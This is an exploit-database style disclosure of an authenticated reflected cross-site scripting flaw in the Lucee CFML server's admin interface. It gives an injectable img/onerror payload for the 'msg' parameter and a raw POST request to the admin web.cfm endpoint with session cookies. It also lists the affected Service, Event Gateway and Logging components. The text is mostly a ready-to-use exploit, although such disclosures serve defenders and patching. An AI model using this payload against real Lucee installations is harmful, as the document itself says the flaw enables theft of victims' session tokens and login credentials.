# Exploit Title: Lucee - Authenticated Reflected XSS  
# Google Dork: NA  
# Date: 05/08/2023  
# Exploit Author: Yehia Elghaly  
# Vendor Homepage:  
# Software Link:  
# Version: <<  
# Tested on: Windows 10  
# CVE: N/A  
Summary: Lucee is a light-weight dynamic CFML scripting language with a solid foundation.Lucee is a high performance, open source, ColdFusion / CFML server engine, written in Java.  
Description: The attacker can able to convince a victim to visit a malicious URL, can perform a wide variety of actions, such as stealing the victim's session token or login credentials.  
The payload: ?msg=<img src=xss onerror=alert('xssya')>  
POST /lucee/admin/web.cfm?action=services.gateway&action2=create HTTP/1.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 278  
Connection: close  
Cookie: cfid=ee75e255-5873-461d-a631-0d6db6adb066; cftoken=0; LUCEE_ADMIN_LANG=en; LUCEE_ADMIN_LASTPAGE=overview  
Upgrade-Insecure-Requests: 1  
[Affected Component]  
Service --> Search  
Services --> Event Gateway  
Service --> Logging